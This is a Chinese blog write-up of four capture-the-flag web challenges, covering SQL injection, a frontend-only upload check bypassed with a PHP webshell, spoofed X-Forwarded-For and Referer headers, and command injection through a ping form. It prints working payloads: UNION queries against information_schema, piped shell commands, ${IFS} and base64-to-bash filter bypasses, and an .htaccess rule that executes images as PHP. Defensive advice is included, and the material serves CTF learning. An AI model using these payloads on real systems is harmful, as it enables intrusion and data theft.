跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP大前端

攻防世界 Web 题解(七):SQL 注入、文件上传与命令执行

综述由AI生成通过四个攻防世界 Web 安全题目演示常见漏洞利用方法。包括 Newscenter 的 SQL 注入(联合查询获取数据库信息)、upload1 的文件上传绕过(前端验证失效)、Xff_referer 的 HTTP 头伪造(IP 与来源验证绕过)以及 Command_execution 的命令注入(执行系统命令)。最后总结了各漏洞的考察点、解题思路及防御建议,强调使用预编译语句、白名单机制及安全 API 的重要性。

PhpPioneer发布于 2026/4/5更新于 2026/5/2231 浏览
攻防世界 Web 题解(七):SQL 注入、文件上传与命令执行

文章配图

一:Newscenter

打开为如下所示。

文章配图

经过尝试,得知在输入框中输入数字可得到不同内容。

文章配图

输入 23 就没有新闻。

文章配图

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是 SQL 注入。

发现将数据库中所有的内容都查询了出来,那这个题考察的就是 SQL 注入。

文章配图

字段长度为 3。

23' order by 3 #

文章配图

回显字段有 2,3。

23' union select 1,2,3 #

文章配图

数据库名为 news。

23' union select 1,database(),3 #

文章配图

表名为如下。

23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

文章配图

根据表名查到列名。

23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

文章配图

成功拿到 flag。

23' union select 1,fl4g,3 from secret_table #

文章配图

二:upload1

发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证。

文章配图

关闭如下所示。

文章配图

然后我们上传一张 php 即可。

文章配图

用蚁剑连接即可,成功拿到 flag。

文章配图

三:Xff_referer

打开提示我们 ip 必须为 123.123.123.123,那我们得知既然要 ip 来自于 123,那就需要进行伪造 ip 头也就是 X-Forwarded-For 字段。

文章配图

打开 bp 进行抓包。

输入 X-Forwarded-For:123.123.123.123 进行伪造

发送后又提示我们来源为 google,来源字段是 referer。

文章配图

伪造 referer 字段。

文章配图

四:Command_execution

打开发现为 ping 功能,我们先随便 ping 一下然后再看看能否查看其他数据。

文章配图

Ping 127.0.0.1 发现可以,那我们填写这样的 payload:127.0.0.1 | ls。

文章配图

成功执行 ls,说明没有任何过滤。那接下来就可以查找 flag 了。

文章配图

执行 127.0.0.1 |find / -name "fl*"。

发现可以文件如下。

文章配图

成功拿到 flag。

文章配图

五:总结

1. Newscenter(SQL 注入)

考察点

  • SQL 注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
  • 联合查询(UNION 注入):通过构造联合查询语句获取敏感数据。

解题思路

  1. 探测注入点:在搜索框输入单引号 ',观察是否存在报错。
  2. 判断字段数:使用 ORDER BY 确定查询字段数(如 ' ORDER BY 3--)。
  3. 联合查询注入:
    • 构造 Payload:' UNION SELECT 1,2,database()-- 获取数据库名。
    • 继续查询表名(如 information_schema.tables)、列名,最终读取 flag 字段。

关键技术

  • 报错注入或布尔盲注(根据回显情况选择)。
  • 利用 information_schema 数据库获取元数据。

防御建议

  • 使用预编译语句(Prepared Statements)。
  • 对输入进行严格的字符过滤和转义。
2. upload1(文件上传漏洞)

考察点

  • 文件上传绕过:绕过前端和后端对文件类型、内容的检测。
  • Webshell 利用:上传马获取服务器权限。

解题思路

  1. 绕过前端验证:修改文件扩展名为 .php,并抓包修改 Content-Type 为 image/jpeg。
  2. 绕过后端检测:使用图片马(在图片中嵌入 PHP 代码),或利用 .htaccess 文件设置解析规则(如 AddType application/x-httpd-php .jpg)。
  3. 访问上传文件:通过上传路径访问 Webshell,执行系统命令获取 flag。

关键技术

  • 双写扩展名绕过(如 up.php.phtml)。
  • 利用服务器解析漏洞(如 Apache 解析漏洞 test.php.xxx)。

防御建议

  • 限制上传文件类型,使用白名单机制。
  • 重命名上传文件,避免直接执行。
3. Xff_referer(HTTP 头伪造)

考察点

  • HTTP 头伪造:伪造 X-Forwarded-For(XFF)和 Referer 头绕过访问控制。
  • 本地访问限制:服务器仅允许特定来源或本地 IP 访问。

解题思路

  1. 伪造 XFF 头:使用 Burp Suite 拦截请求,添加 X-Forwarded-For: 127.0.0.1 伪装本地 IP。
  2. 伪造 Referer 头:修改 Referer 为题目指定域名(如 http://www.google.com)通过验证。

关键技术

  • 工具:Burp Suite/Postman 修改请求头。
  • 理解 HTTP 头在访问控制中的作用。

防御建议

  • 避免依赖客户端可控的字段(如 XFF、Referer)做权限验证。
  • 使用服务器端会话机制管理权限。
4. Command_execution(命令注入)

考察点

  • 命令注入漏洞:未过滤用户输入直接拼接系统命令。
  • 绕过过滤技巧:绕过空格、关键词黑名单等限制。

解题思路

  1. 探测注入点:输入 127.0.0.1; ls 尝试执行命令。
  2. 绕过过滤:
    • 空格绕过:使用 ${IFS} 或 %09(Tab 的 URL 编码)。
    • 关键词绕过:用 ca\t 或 base64 编码命令(如 echo "Y2F0IGZsYWc=" | base64 -d | bash)。
  3. 读取 flag:通过 cat 或 tac 命令读取 flag 文件。

关键技术

  • 命令分隔符:;、&、|、||。
  • 通配符绕过:cat fla*。

防御建议

  • 使用安全的 API(如 subprocess 模块)替代直接执行命令。
  • 严格校验输入,禁止特殊字符。

目录

  1. 一:Newscenter
  2. 二:upload1
  3. 三:Xff_referer
  4. 四:Command_execution
  5. 五:总结
  6. 1. Newscenter(SQL 注入)
  7. 2. upload1(文件上传漏洞)
  8. 3. Xff_referer(HTTP 头伪造)
  9. 4. Command_execution(命令注入)
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Qwen3-VL WEBUI 部署与交错 MRoPE 长视频推理实战
  • 深入理解 Git 主流工作流与团队协作实践
  • Python 实用技巧:使用 Spire.XLS 将 Excel 文件转换为 PDF
  • 五种主流 AI Agent 框架对比与选型指南
  • YOLOv8 视频追踪中的卡尔曼滤波数学原理及 Python 实现
  • Spring AI ChatModel 核心概念与使用示例
  • 国产点焊与弧焊机器人主流品牌推荐
  • Xapian: 一款 C++ 全文检索解决方案
  • Docker 安装配置 Neo4j 图数据库指南
  • 基于 AI 的电视直播源 m3u 自动抓取与更新实践
  • Java 环境配置与首个 Hello World 程序实战
  • 从零卷积到艺术创作:ControlNet 如何重塑 AI 绘画的边界
  • 现代 C++ 数学表达式解释器实现
  • MATLAB 时间序列预测方法实战:AR、ARIMA 与 GARCH 模型
  • GitHub Copilot 在 VS Code 中的代理功能使用指南
  • Copilot 四大模式详解:Ask、Edit、Agent 与 Plan 的核心差异
  • OpenClaw Webhook 详解:配置与安全
  • PlotDigitizer 图表数据自动化工具实战指南
  • Being-H0.5:扩展以人为中心的机器人学习实现跨具身泛化
  • 2025年12月GESP真题及题解(C++八级): 选择题和判断题

相关免费在线工具

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online